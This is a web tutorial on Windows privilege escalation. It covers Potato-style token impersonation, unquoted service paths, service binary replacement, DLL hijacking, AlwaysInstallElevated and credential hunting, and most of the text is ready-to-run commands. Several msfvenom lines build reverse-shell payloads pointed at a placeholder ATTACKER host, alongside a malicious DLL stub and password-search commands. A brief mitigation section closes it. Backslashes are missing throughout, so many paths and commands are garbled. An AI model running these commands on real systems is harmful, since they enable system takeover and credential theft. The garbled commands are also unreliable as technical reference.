Windows Privilege Escalation: Token Impersonation, Unquoted Paths, and DLL Hijacking

Windows privilege escalation requires understanding how the Windows access control model works and where common misconfigurations create exploitable opportunities. This guide covers the most effective and reliable Windows privilege escalation techniques — from token impersonation through unquoted service paths, registry ACL abuse, and DLL hijacking — with practical PowerShell and CMD commands for each.

Initial Enumeration

whoami /all                          # Current user and privileges
systeminfo                           # OS, patches, architecture
net user                             # Local users
net localgroup administrators        # Admin group members
wmic qfe list                        # Installed patches
wmic service list brief              # Running services
sc query type= all state= all        # All services
tasklist /v                          # Running processes
netstat -ano                         # Active connections
dir C:Users                        # Other users on the system

Token Impersonation

Windows access tokens represent security contexts. When a service account has SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege (common for IIS, SQL Server, and service accounts), it can impersonate other tokens — including SYSTEM.

Checking for Impersonation Privileges

whoami /priv
# Look for:
# SeImpersonatePrivilege   Enabled
# SeAssignPrimaryTokenPrivilege   Enabled

JuicyPotato, PrintSpoofer, and GodPotato

These tools exploit the SeImpersonatePrivilege to escalate to SYSTEM. The choice of tool depends on the Windows version and available COM objects:

# PrintSpoofer (Windows 10, Server 2016/2019)
.PrintSpoofer64.exe -i -c "cmd.exe"

# GodPotato (Windows Server 2012-2022, Windows 8-11)
.GodPotato.exe -cmd "cmd /c whoami"

# JuicyPotato (Windows < Server 2019 without certain patches)
.JuicyPotato.exe -l 1337 -p C:WindowsSystem32cmd.exe -t * -c {CLSID}

These techniques are extremely common in real environments where web shells land in the context of IIS APPPOOL or NT AUTHORITYLOCAL SERVICE accounts — both of which typically have SeImpersonatePrivilege.

Unquoted Service Paths

Windows services with paths containing spaces that are not enclosed in quotes are vulnerable to binary planting. When Windows resolves the path, it tries each space-separated component as a potential executable.

For a service with path: C:Program FilesMy Appservice.exe
Windows tries in order: C:Program.exe, C:Program FilesMy.exe, C:Program FilesMy Appservice.exe

# Find unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:windows\" | findstr /i /v """

# PowerShell version
Get-WmiObject -Class Win32_Service | Where-Object { $_.PathName -notmatch '"' -and $_.PathName -match ' ' -and $_.StartMode -eq 'Auto' } | Select-Object Name, PathName

# If C:Program FilesVulnerable Appservice.exe is unquoted
# and you can write to C:Program Files:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o "Vulnerable.exe"
# Copy to C:Program FilesVulnerable.exe
# Restart the service:
sc stop VulnerableService
sc start VulnerableService

Weak Service Permissions

If you have write permission to a service binary or can modify the service configuration directly, you can point it to a malicious executable.

# Check service binary permissions
icacls "C:Program FilesVulnerableAppapp.exe"

# If (F) or (W) for current user:
# Replace the binary with a malicious one
copy /Y C:Tempmalicious.exe "C:Program FilesVulnerableAppapp.exe"
sc stop AppService
sc start AppService

# Check service configuration permissions with accesschk.exe (Sysinternals)
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
# SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG = vulnerable

# Change service binary path directly
sc config VulnerableService binpath= "C:Temp
everse_shell.exe"
sc start VulnerableService

DLL Hijacking

Windows applications load DLLs in a predictable search order. If a DLL is missing or the search path includes a writable directory before the legitimate DLL location, an attacker can plant a malicious DLL with the matching filename.

DLL Search Order

Windows searches in this order: 1) The application’s own directory, 2) System32, 3) System, 4) Windows directory, 5) Current directory, 6) Directories in PATH.

# Find applications loading DLLs from writable paths
# Use Process Monitor (Sysinternals) with filter: Result = NAME NOT FOUND and Path ends with .dll
# This reveals missing DLLs being searched in writable locations

# Create malicious DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f dll -o missing_dll.dll

# Or compile in C:
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /c whoami > C:\Temp\output.txt");
    }
    return TRUE;
}

# Place in the searched writable directory
copy missing_dll.dll C:WritablePathmissing.dll

Registry-Based Escalation

AlwaysInstallElevated

If both HKLM and HKCU AlwaysInstallElevated registry keys are set to 1, MSI packages install with SYSTEM privileges regardless of the user’s permissions.

reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated

# If both are 0x1:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f msi -o evil.msi
msiexec /quiet /qn /i C:Tempevil.msi

AutoRun Registry Keys

reg query HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun
reg query HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun
# Check for writable paths in HKLM Run keys
accesschk.exe /accepteula -wvu HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun

Stored Credentials

# Windows credential manager
cmdkey /list
runas /savecred /user:DOMAINadmin "cmd.exe"

# Search for passwords in common locations
findstr /si password *.txt *.xml *.ini C:dir /s /b *pass* *cred* *vnc* *.config 2>nul

# PowerShell history
type %APPDATA%MicrosoftWindowsPowerShellPSReadLineConsoleHost_history.txt

# Unattended installation files (may contain credentials)
dir /s /b unattend.xml sysprep.xml autounattend.xml

Common Mistakes

Forgetting to check SeImpersonatePrivilege. This is present on a huge proportion of real-world web shells and service account shells. Potato attacks are fast and reliable — always check token privileges first.

Not checking architecture. Dropping a 32-bit payload on a 64-bit system breaks many techniques. Run systeminfo | findstr /i "type" and match your payload architecture to the OS.

Mitigation Recommendations

Restrict SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege to only services that require it; quote all Windows service paths in the registry; use icacls to audit service binary permissions; disable AlwaysInstallElevated via Group Policy; deploy WDAC (Windows Defender Application Control) to restrict DLL loading; enable Protected Process Light (PPL) for LSASS; patch regularly, especially for PrintSpooler and privilege escalation CVEs.

Conclusion

Windows privilege escalation often comes down to two findings: a service account with SeImpersonatePrivilege, or a misconfigured service path or binary permission. Enumerate token privileges first, check unquoted service paths second, and audit service binary permissions third. These three checks resolve the majority of Windows privilege escalation paths encountered in real engagements.

Frequently Asked Questions

What is the most common Windows privilege escalation technique in real environments?

Token impersonation via SeImpersonatePrivilege is by far the most common path in real penetration tests, particularly when initial access comes through a web shell or service account. PrintSpoofer and GodPotato are the current go-to tools.

What is WinPEAS and how does it differ from this guide?

WinPEAS is an enumeration tool that identifies potential privilege escalation vectors automatically. This guide explains the actual exploitation of those findings. Use WinPEAS to find opportunities, then use the techniques here to exploit them.

Related Articles

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top